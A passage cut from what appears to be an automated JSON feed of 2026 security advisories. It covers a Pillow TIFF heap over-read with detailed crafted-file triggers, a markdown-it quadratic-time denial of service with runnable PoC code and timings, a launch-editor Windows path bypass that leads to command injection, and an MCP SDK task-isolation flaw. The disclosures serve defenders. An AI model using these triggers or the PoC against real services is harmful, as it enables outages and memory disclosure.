(8.1.0).\n\nThe attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc's malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in `copy4` ← `_decodeTile` (`TiffDecode.c:483`) in most runs, depending on what is mapped after the buffer.\n\n## Details\n\n`_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c` size `state->buffer` from what libtiff says it will produce (`TIFFTileSize()`, resp. `img.width * 4`), but unpack each row with the shuffler that `TiffImagePlugin._setup()` selected from Pillow's *own* parse of the IFD. Nothing in either function checks that the unpacker's input row (`width * state->bits / 8` bytes) fits inside the row libtiff wrote. `_decodeStrip()` has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout — a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated `PhotometricInterpretation`/`BitsPerSample`/`SamplesPerPixel` entry (libtiff keeps the first occurrence, `ImageFileDirectory_v2.load()` the last) — the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff's actual sample layout works (`RGBX`, `RGB;16N`, `RGBA;16N`, `I;32`, `F;32F`, …); `RGBA;16N` (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer.\n\nThe ~400-byte TIFF `tile_count2.tif` generated by the reproducer — one 16x16 tile, `BitsPerSample 8`, `SamplesPerPixel 1`, `Compression 8` (Adobe Deflate), and `PhotometricInterpretation` written as a SHORT with **count 2** (`6, 6`) — is opened by `Image.open()` as mode `RGB` with libtiff rawmode `RGBX`, and `load()` succeeds on the stock build. Rows 13–15 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under `MALLOC_PERTURB_=85` and `=170` yields identical rows 0–12 and different bytes in rows 13–15 (`aa` vs `55`, i.e. glibc's fill pattern). Under an ASan build of the extensions the same `load()` reports `heap-buffer-overflow READ of size 64` in `copy4` (`src/libImaging/Unpack.c:1290`) called from `src/libImaging/TiffDecode.c:483`, against the 256-byte region allocated at `TiffDecode.c:448`. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in `copy4 ← _decodeTile` reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable).\n\n### Why the two parsers disagree\n\nlibtiff 4.5 rejects a `PhotometricInterpretation` entry whose count is not 1 (`TIFFFetchNormalTag: Incorrect count for \"PhotometricInterpretation\"; tag ignored`), so for this file `TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, …)` returns 0 and libtiff treats the data as one 8-bit sample per pixel: `TIFFTileSize() = 256`, `TIFFTileRowSize() = 16`.\n\nPillow keeps the first value and carries on:\n\n```python\n# src/PIL/TiffImagePlugin.py:762-770 (ImageFileDirectory_v2._setitem, reached from load())\n try:\n (dest[tag],) = values\n except ValueError:\n # We've got a builtin tag with 1 expected entry\n warnings.warn(f\"Metadata Warning, tag {tag} had too many entries: ...\")\n dest[tag] = values[0]\n```\n\nso `_setup()` sees `photo == 6`. `OPEN_INFO[(II, 6, (1,), 1, (8,), ())]` is `(\"L\", \"L\")`, and because the file is compressed the libtiff branch then overrides the rawmode:\n\n```python\n# src/PIL/TiffImagePlugin.py:1578, 1600-1607\n self.use_load_libtiff = READ_LIBTIFF or self._compression != \"raw\"\n …\n if photo == 6:\n self._mode = \"RGB\"\n if self._compression in \"jpeg\" and self._planar_configuration == 1:\n rawmode = \"RGB\"\n else:\n rawmode = \"RGBX\"\n```\n\n`\n\nAffected package ranges reported by GitHub:\nPillow: >= 8.1.0, < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T20:42:00.000Z","updatedAt":"2026-10-20T20:42:01.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-c6hw-5grf-ff96","asOf":"2026-10-20T20:42:01.000Z"},"epss":{"probability":0.00386,"percentile":0.32362,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112404&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-c6hw-5grf-ff96","url":"https://github.com/advisories/GHSA-c6hw-5grf-ff96","type":"primary","publishedAt":"2026-10-20T20:42:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-c6hw-5grf-ff96, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-c6hw-5grf-ff96, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-c6hw-5grf-ff96, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-c6hw-5grf-ff96, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-c6hw-5grf-ff96, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-c6hw-5grf-ff96, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-c6hw-5grf-ff96, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-c6hw-5grf-ff96, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-c6hw-5grf-ff96, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112404","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112404","type":"primary","publishedAt":"2026-10-19T22:17:07.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112404&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112404, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111758","cveId":"CVE-2026-111758","aliases":["GHSA-gfr2-rv44-r23c"],"kind":"vulnerability","title":"markdown-it: Quadratic-time rendering of a single multi-line link reference definition with default options (regression since 14.0)","summary":"A link reference definition whose label or title is never closed is O(n²) in markdown-it 15.0.2 with default options. Continuation lines are pulled lazily with str += lineContent in src/rules_block/reference.ts, and the subsequent charCodeAt and slice calls flatten the V8 cons-string, copying everything collected so far; this runs before the rule decides the definition is invalid. It is a regression introduced by PR #1004 in 14.0.0: 13.0.2 processed a 313 KB input in 125 ms, while every version since takes about 11 seconds on the same input. At the sizes below, 200 KB takes 3.6 seconds, 400 KB takes 18.1 seconds, and 800 KB takes 74.0 seconds, which is roughly 4–5× per doubling. No options are required to trigger it.\n\nsrc/rules_block/reference.ts appends continuation lines with str += lineContent at lines 74, 83, 100, 133, and 150, then keeps indexing the accumulated string via str.charCodeAt(pos) in the label and whitespace loops and str.slice(...) in parseLinkTitle. V8 represents += as a cons-string, and the next charCodeAt or slice flattens it, copying everything collected so far, so one definition spanning n lines costs O(n²). Isolation confirms the rule is responsible: block-only parsing with inline disabled is still quadratic, md.disable('reference') makes the same input linear, and the same text without the leading [ is linear. The fix is to track positions in state.src instead of building str, or to collect line slices in an array and parse across them. At minimum, stop scanning the label after 999 characters (CommonMark §6.3) before pulling more lines, and cap title continuation. Add a pathological test with a 100k-line unclosed title and label. Open PR #1215 edits the same file but its label check runs after the label loop, so it does not bound either variant and the fix can land together with that PR.","detail":"### Summary\n\nA link reference definition whose label or title is never closed is O(n²) in markdown-it 15.0.2 with default options. Continuation lines are pulled lazily with str += lineContent in src/rules_block/reference.ts, and the subsequent charCodeAt and slice calls flatten the V8 cons-string, copying everything collected so far; this runs before the rule decides the definition is invalid. It is a regression introduced by PR #1004 in 14.0.0: 13.0.2 processed a 313 KB input in 125 ms, while every version since takes about 11 seconds on the same input. At the sizes below, 200 KB takes 3.6 seconds, 400 KB takes 18.1 seconds, and 800 KB takes 74.0 seconds, which is roughly 4–5× per doubling. No options are required to trigger it.\n\n### Details\n\nsrc/rules_block/reference.ts appends continuation lines with str += lineContent at lines 74, 83, 100, 133, and 150, then keeps indexing the accumulated string via str.charCodeAt(pos) in the label and whitespace loops and str.slice(...) in parseLinkTitle. V8 represents += as a cons-string, and the next charCodeAt or slice flattens it, copying everything collected so far, so one definition spanning n lines costs O(n²). Isolation confirms the rule is responsible: block-only parsing with inline disabled is still quadratic, md.disable('reference') makes the same input linear, and the same text without the leading [ is linear. The fix is to track positions in state.src instead of building str, or to collect line slices in an array and parse across them. At minimum, stop scanning the label after 999 characters (CommonMark §6.3) before pulling more lines, and cap title continuation. Add a pathological test with a 100k-line unclosed title and label. Open PR #1215 edits the same file but its label check runs after the label loop, so it does not bound either variant and the fix can land together with that PR.\n\nThe observed output from PoC was:\nunclosed title n=100000 200009 B 3585.5 ms\nunclosed title n=200000 400009 B 18107.1 ms (5.05x)\nunclosed title n=400000 800009 B 73954.4 ms (4.08x)\n\nRegression comparison at 313 KB: 13.0.2 → 125 ms, 14.1.0 → 11.4 s, 15.0.0 → 10.6 s, 15.0.2 → 10.7 s.\n\n### Proof of concept\n\nHow to execute the PoC:\n1. mkdir -p markdown-it-poc && cd markdown-it-poc\n2. npm init -y\n3. npm i markdown-it@15.0.2\n4. node poc_markdown_it.js\n\nPoC below is:\n```javascript\n// poc_markdown_it.js\n// Requires: npm install markdown-it@15.0.2\nconst MarkdownIt = require('markdown-it');\nconst md = new MarkdownIt();\n\nfunction bench(label, src) {\n const t0 = process.hrtime.bigint();\n md.render(src);\n const t1 = process.hrtime.bigint();\n console.log(\n `${label.padEnd(30)} ${String(src.length).padStart(9)} B ${(Number(t1 - t0) / 1e6).toFixed(1).padStart(9)} ms`\n );\n}\n\n// Unclosed title: one reference definition spread over many lines\nfor (const n of [100000, 200000, 400000]) {\n bench(`unclosed title n=${n}`, '[a]: /u \"' + 'x\\n'.repeat(n));\n}\n\n// Unclosed label\nfor (const n of [5000, 10000, 20000]) {\n bench(`unclosed label n=${n}`, '[' + 'a\\n'.repeat(n));\n}\n```\n\n### Impact\n\nThis is an algorithmic-complexity denial of service (CWE-407). Any server that renders user Markdown with markdown-it is affected with default options, including comments, issues, chat, wikis, docs previews, and LLM chat UIs. A ~400 KB request body blocks the Node.js event loop for about 18 seconds and an ~800 KB body for about 74 seconds. This is the same class and attacker model as GHSA-253c, but it is reachable without any opt-in option, since the affected path is a core block rule.\n\nAffected package ranges reported by GitHub:\nmarkdown-it: >= 14.1.0, < 14.3.3\nmarkdown-it: >= 15.0.0, < 15.0.3","action":"GitHub lists first patched versions: markdown-it: 14.3.3; markdown-it: 15.0.3. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T20:28:44.000Z","updatedAt":"2026-10-22T16:47:38.403Z","regions":["Global"],"vendor":null,"product":"markdown-it, markdown-it","stacks":["JavaScript packages (npm)","markdown-it","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111758","asOf":"2026-10-22T16:47:38.403Z"},"epss":{"probability":0.00455,"percentile":0.39239,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111758&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-gfr2-rv44-r23c","url":"https://github.com/advisories/GHSA-gfr2-rv44-r23c","type":"primary","publishedAt":"2026-10-20T20:28:44.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-gfr2-rv44-r23c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-gfr2-rv44-r23c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-gfr2-rv44-r23c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-gfr2-rv44-r23c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-gfr2-rv44-r23c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-gfr2-rv44-r23c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-gfr2-rv44-r23c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-gfr2-rv44-r23c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-gfr2-rv44-r23c, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-111758","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111758","type":"primary","publishedAt":"2026-10-20T21:17:17.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111758&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111758, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112942","cveId":"CVE-2026-112942","aliases":["GHSA-587h-7wmj-h5pm"],"kind":"vulnerability","title":"launch-editor: `fs.existsSync()` existence check can be bypassed on Windows","summary":"`launch-editor` checked `fs.existsSync(fileName)` before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in `\\\\..:line:column`. This removes the requirement that the attacker be able to place a file with a malicious filename.\n\nCombined with the `%` escaping issue described in [GHSA-698v-4r3x-3vcv](https://github.com/vitejs/launch-editor/security/advisories/GHSA-698v-4r3x-3vcv), this bypass can lead to OS command injection when an attacker controls the file argument.","detail":"### Summary\n\n`launch-editor` checked `fs.existsSync(fileName)` before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in `\\\\..:line:column`. This removes the requirement that the attacker be able to place a file with a malicious filename.\n\nCombined with the `%` escaping issue described in [GHSA-698v-4r3x-3vcv](https://github.com/vitejs/launch-editor/security/advisories/GHSA-698v-4r3x-3vcv), this bypass can lead to OS command injection when an attacker controls the file argument.\n\n### Impact\n\nOnly apps that runs on Windows is affected.\n\n### Details\n\nThe earlier advisory assumed that `fs.existsSync()` required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement.\n\nA crafted value ending in `\\\\..:1:1` is interpreted differently by `launch-editor-middleware`, `launch-editor`, and Windows:\n\n1. `launch-editor-middleware` calls `path.resolve()` while the final path component is `..:1:1`, so it is not treated as a parent-directory component.\n2. `launch-editor` treats `:1:1` as a line-and-column suffix and removes it, leaving a path ending in `\\\\..`.\n3. On Windows, `fs.existsSync()` accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist.\n4. Because the existence check passes, the crafted filename reaches the Windows shell command.\n\nAffected package ranges reported by GitHub:\nlaunch-editor: <= 2.14.1\nvite: >= 8.3.0, <= 8.3.2\nvite: >= 8.2.0, <= 8.2.3\nvite: >= 8.0.0, <= 8.1.5\nvite: >= 7.0.0, <= 7.3.6\nvite: <= 6.4.3\nvite-plus: <= 1.0.0","action":"GitHub lists first patched versions: launch-editor: 2.14.2; vite: 8.3.3; vite: 8.2.4; vite: 8.1.6; vite: 7.3.7; vite: 6.4.4; vite-plus: 1.1.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T19:48:25.000Z","updatedAt":"2026-10-21T16:17:15.207Z","regions":["Global"],"vendor":null,"product":"launch-editor, vite, vite, vite, vite, vite, vite-plus","stacks":["JavaScript packages (npm)","launch-editor","vite","vite-plus","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112942","asOf":"2026-10-21T16:17:15.207Z"},"epss":{"probability":0.01344,"percentile":0.71192,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112942&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-587h-7wmj-h5pm","url":"https://github.com/advisories/GHSA-587h-7wmj-h5pm","type":"primary","publishedAt":"2026-10-20T19:48:25.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-587h-7wmj-h5pm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-587h-7wmj-h5pm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-587h-7wmj-h5pm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-587h-7wmj-h5pm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-587h-7wmj-h5pm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-587h-7wmj-h5pm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-587h-7wmj-h5pm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-587h-7wmj-h5pm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-587h-7wmj-h5pm, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112942","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112942","type":"primary","publishedAt":"2026-10-20T15:17:17.230Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112942&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112942, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111767","cveId":"CVE-2026-111767","aliases":["GHSA-22jm-h49p-29qw"],"kind":"vulnerability","title":"MCP TypeScript SDK: Experimental tasks were not tied to the session that created them","summary":"Experimental tasks are deprecated. The 2026-07-28 specification replaced them with a redesigned extension. The best course of action is to stop using them.\n\nAffected versions: `@modelcontextprotocol/sdk` 1.24.0 through 1.31.0. The 2.x packages are not affected.","detail":"### Summary\nIn affected versions, the experimental tasks feature (`taskStore`) did not check which session created a task. Clients sharing one `InMemoryTaskStore` could list, read and cancel each other's tasks.\n\nExperimental tasks are deprecated. The 2026-07-28 specification replaced them with a redesigned extension. The best course of action is to stop using them.\n\n### Am I affected?\nOnly if your HTTP server passes `taskStore` to `McpServer` or `Server`. If `grep -ri taskstore --exclude-dir=node_modules .` finds nothing, you are not affected.\n\nAffected versions: `@modelcontextprotocol/sdk` 1.24.0 through 1.31.0. The 2.x packages are not affected.\n\n### Fix\nUpgrade to `@modelcontextprotocol/sdk` 1.32.0 or later. Each task is now tied to the session that created it, so a client that starts a new session can no longer reach its earlier tasks.\n\nIf you cannot upgrade yet, remove `taskStore`, or create one `InMemoryTaskStore` per session.\n\nAffected package ranges reported by 